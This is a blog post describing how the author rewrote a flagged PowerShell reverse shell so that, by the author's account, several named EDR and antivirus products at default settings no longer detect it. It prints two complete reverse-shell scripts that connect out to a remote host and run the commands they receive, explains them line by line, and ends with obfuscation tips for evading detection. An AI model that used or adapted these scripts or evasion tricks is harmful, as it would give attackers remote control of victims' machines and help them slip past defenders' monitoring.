In my last post, I talked about what EDR is, why it matters, and what to consider when choosing the right product. I also wrote another blog where I explained how syntax can help Bypasses Detection. In this blog, I want to share my experience about how I fixed a PowerShell “Reverse Shell” script that was marked as malware by every antivirus and EDR tool. I looked at an existing version of the code from PayloadsAllTheThings, studied how it worked, and rewrote some key parts of it. I'll walk through the changes I made to the code, the decisions I made along the way, and the security lessons I learned from the whole process.

Disclaimer: The security solutions mentioned here are working as intended and are still providing solid protection. This analysis isn't meant to point out any flaws in products or companies. Rather, it looks at special situations and detailed ways these solutions are used, which can sometimes lead to missed information. The goal of this writing is to help everyone better understand how to defend against threats and improve how we detect and respond to them.

🔧 What is Code Remediation:

Code remediation is the process of finding, fixing, and improving code that has problems, or doesn't work well. The word "remediation" comes from "remedy," which means to solve an issue. In cybersecurity and software development, code remediation means making purposeful changes to the code to fix its problems and get it to work properly again. In our example, we use this idea to look at and fix a broken "flagged" PowerShell script. We focus on rewriting the script and making its logic work as intended to bypass security checks. The goal is to understand why the script was flagged and to show how fixing or rewriting it can make a real difference.

The Experiment

Let’s walk through the Flagged Payload:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Short summary: The one-line PowerShell snippet opens a TCP connection from the host that runs it to a remote IP and port, reads text sent from the remote side, executes that text as PowerShell commands, and returns the command output back over the same TCP connection. This pattern is commonly called a reverse shell because the target host initiates a connection back to a controller and then accepts remote commands.
  • powershell -NoP -NonI -W Hidden -Exec Bypass -Command
    These are PowerShell process flags that change how PowerShell runs, non-interactive mode, hide the window, and alter execution policy. In general, such flags control execution behavior and visibility.

  • New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242)
    Creates a TCP client object and attempts to open a network connection to the specified remote IP and port. In a reverse-shell scenario the local machine initiates a connection to the remote controller.

  • $stream = $client.GetStream();
    Obtains a network stream associated with the TCP connection to send and receive bytes.

  • [byte[]]$bytes = 0..65535|%{0};
    Allocates a large byte buffer used to receive incoming data from the network stream.

  • while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ... }
    Reads from the network stream into the buffer in a loop. The loop continues while there is incoming data.

  • $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    Converts the raw received bytes into a text string using ASCII (text encoding). That string is the incoming data (commonly commands in a reverse-shell scenario).

  • $sendback = (iex $data 2>&1 | Out-String );
    Runs the received text through PowerShell’s iex (invoke-expression), capturing any output or errors as a string. (This is the part that executes received instructions.)

  • $sendback2 = $sendback + "PS " + (pwd).Path + "> ";};
    Prepares a response by appending a prompt or context (current working directory) to the captured output.

  • $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()
    Encodes the response back into bytes and writes them to the network stream so the remote side receives the command output.

  • client.Close()
    Closes the loop and, ultimately, the TCP connection when the stream ends.

How this fits the reverse shell concept: A reverse shell reverses the usual client/server roles, the target host (where the code runs) proactively connects out to a remote listener. Once the connection is established, the remote side can send commands, and the target executes them and returns the results back to the server.

Why is it flagged? EDR/AV flag that PowerShell snippet because it matches many high-confidence indicators of malicious remote control or misuse: hidden, non-interactive PowerShell with execution-policy bypass; a direct TCP client creating an outbound interactive channel; execution of received text (iex/invoke-expression); single-line, obfuscated/compact payload structure; and unusual network behavior for powershell.exe. Taken together these signals form high-risk telemetry that EDRs are trained to alert on.

Now, let's go through the Unflagged Payload:

Disclaimer: Must Read Carefully This repository includes proof-of-concept code and demonstrations intended strictly for authorized security research, controlled red-team engagements, and defensive testing in environments where you have explicit, written permission.

Do NOT copy, modify, deploy, or execute this material against any system, network, or device unless you hold clear, documented authorization from the system owner. Unauthorized use is illegal and may result in criminal prosecution, civil liability, and severe professional consequences. The authors expressly disclaim any warranty and accept no liability for damage, data loss, legal claims, or criminal charges arising from misuse. Use this content only for lawful, ethical, and constructive purposes. Failure to comply is unacceptable.
            # LEGAL: Authorized security testing ONLY.
            # Coded by: @IronHulk_0xff
            # Date: October 11, 2025
            # STRICT PROHIBITIONS:
            # ▸ ANY UNAUTHORIZED ACCESS TO SYSTEMS IS ILLEGAL
            # ▸ USE AGAINST SYSTEMS YOU DON'T OWN IS FEDERALLY PROHIBITED
            # ▸ DISTRIBUTION TO MALICIOUS ACTORS IS UNLAWFUL
            # ▸ BYPASSING SECURITY CONTROLS WITHOUT AUTHORIZATION CONSTITUTES CRIMINAL ACTIVITY
            # ▸ IRON HULK BEARS ZERO RESPONSIBILITY FOR MISUSE


            powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
            `$serverIP = 'ironhulk.corp'; `
            `$port = 443; `
            try { `
                `$client = [System.Net.Sockets.TcpClient]::new(`$serverIP, `$port); `
                `$stream = `$client.GetStream(); `
                `$reader = [System.IO.StreamReader]::new(`$stream, [System.Text.Encoding]::ASCII); `
                `$writer = [System.IO.StreamWriter]::new(`$stream, [System.Text.Encoding]::ASCII); `
                `$writer.AutoFlush = `$true; `
                while (`$true) { `
                    `$command = `$reader.ReadLine(); `
                    if (`$command -eq 'exit') { break }; `
                    `$output = (Invoke-Expression `$command 2>&1 | Out-String).Trim(); `
                    `$writer.WriteLine(`$output); `
                } `
            } catch { `
                'Error occurred: ' + `$_.Exception.Message `
            } finally { `
                if (`$client.Connected) { `$client.Close() } `
            }"
          

Short summary: The above PowerShell snippet does the same as the one-liner code, it opens a TCP connection from the host that runs it to a remote IP and port, reads text sent from the remote side, executes that text as PowerShell commands, and returns the command output back over the same TCP connection. This pattern is commonly called a reverse shell because the target host initiates a connection back to a controller and then accepts remote commands. Here's the line-by-line breakdown:
  • powershell -NoP -NonI -W Hidden -Exec Bypass -Command
    Starts PowerShell with a set of runtime flags. Each flag changes how PowerShell runs, skip loading a user profile, run non-interactively, hide the window, and relax script execution policy checks. In plain terms: it tells PowerShell to run quietly and without the usual interactive environment.

  • `$serverIP = 'ironhulk.corp';
    Defines a variable holding the destination IP/Domain address, that’s the network address the script will try to reach.

  • `$port = 443;
    Defines a variable holding the destination port number.

  • try {
    Begins a guarded block to run operations that might fail; if an error occurs inside this block, control passes to the error handler. It’s a standard programming pattern for safe cleanup and error reporting.

  • `$client = [System.Net.Sockets.TcpClient]::new(`$serverIP, `$port);
    Attempts to establish a TCP (network) connection to the defined address and port.

  • `$stream = `$client.GetStream();
    Gets the bidirectional data stream associated with the network connection so the program can send and receive bytes/text over that socket.

  • `$reader = [System.IO.StreamReader]::new(`$stream, [System.Text.Encoding]::ASCII); `
    Wraps the incoming stream in a text reader so the program can read incoming data as lines of text rather than raw bytes “treat the network input as text messages.”

  • `$writer = [System.IO.StreamWriter]::new(`$stream, [System.Text.Encoding]::ASCII); `
    wraps the same $stream and encodes text into bytes using ASCII before writing them out to the network. So when the code does something like WriteLine("hello"), the writer converts that text into ASCII bytes and sends them on the wire.

  • `$writer.AutoFlush = `$true;
    Ensures that anything the program writes is immediately sent out rather than being buffered on the local side. In other words, don’t hold onto output, push it straight to the wire.

  • while (`$true) {
    Enters an infinite loop that continuously waits for input and reacts to it. This makes the program keep running and processing messages until told to stop.

  • `$command = `$reader.ReadLine();
    Reads one line of text from the remote.

  • if (`$command -eq 'exit') { break };
    If the received line equals the special token 'exit', break out of the loop. I just added it for control. However, it's a simple stop condition to terminate the ongoing session.

  • `$output = (Invoke-Expression `$command 2>&1 | Out-String).Trim();
    Executes the received text as a PowerShell expression/command and captures its output (including errors), then converts it to a single string and trims whitespace. Just like saying “run what the other server sent, capture both normal output and errors, and convert it into a text block suitable for returning.”

  • `$writer.WriteLine(`$output);}
    Sends the captured output back to the remote as one line (or a chunk of text).

  • catch {'Error occurred: ' +$_.Exception.Message `}
    Begins the error-handling block that executes if any exception is thrown in the try block, and logs a brief error message describing what went wrong.

  • finally {if ($client.Connected) { $client.Close() }
    Begins the cleanup block that runs whether or not an error occurred. finally is used to ensure resources are released.

Both examples implement the same pattern at a conceptual level, a local process opens a TCP connection to a remote endpoint and then uses that connection as a command/response channel, receiving textual input, treating it as commands to be executed locally, capturing the output, and sending the output back over the socket. The security concerns are the same for both, remote command execution, use of built-in platform tooling, and potential for misuse. Now,the conceptual differences and important design/behavioral considerations.

Demo

kaspersky Optimum EDR


View Demo

CrowedStrick


View Demo

TrendMicro Max Security


View Demo
Note: The test has been done when the solution is on its default settings. However, other vendors will flag this code, so all you need to do is make some changes to the code, and you are free to go.

Summary of the Test

Aspect IronShellCode (Structured StreamReader/Writer) One-Liner (Compact Byte-Loop One-Liner)
Connection Setup Uses TcpClient directly with IP/Domain. Creates TCPClient directly with IP/Domain.
Data Framing / Input Mode Line-oriented via StreamReader.ReadLine(); waits for newline-terminated commands. Byte-oriented; reads raw buffers with Read() and must handle message boundaries manually.
Encoding Converts bytes ⇄ text with System.Text.ASCIIEncoding. Converts bytes ⇄ text with System.Text.ASCIIEncoding.
Execution Loop Reads each line, executes it, trims output, sends back result. Processes received bytes, executes decoded text, appends a prompt (PS path>).
Termination Breaks on sentinel token exit. Ends when the stream closes (read returns 0).
Error Handling Has try/catch/finally for cleanup and graceful failure. No structured exception handling; abrupt on errors.
Output Behavior Sends trimmed output only; quiet response channel. Sends output plus interactive prompt string; more human-friendly.
Cleanup Closes socket in finally; ensures resource release. Closes client only after loop; no guaranteed cleanup on error.

Conclusion

This experiment underscores that every security control, no matter how advanced, requires continuous tuning and validation. Adversaries evolve quickly, probing for overlooked behaviors, weak configurations, or blind spots in detection pipelines. The goal is not to criticize security products, but to reveal how small can make big changes.

For defenders: the takeaway is clear, monitor deeply, log comprehensively, test often, and treat detection as a living process. Building resilient systems means anticipating the next move, tightening every signal path, and maintaining a mindset of constant verification. True defense is not static—it’s an ongoing cycle of learning, adapting, and improving.

For red teamrs: find a way to obfuscate the code (IP, Port, and strings). And yeah, don't put it one-liner or your code is flagged.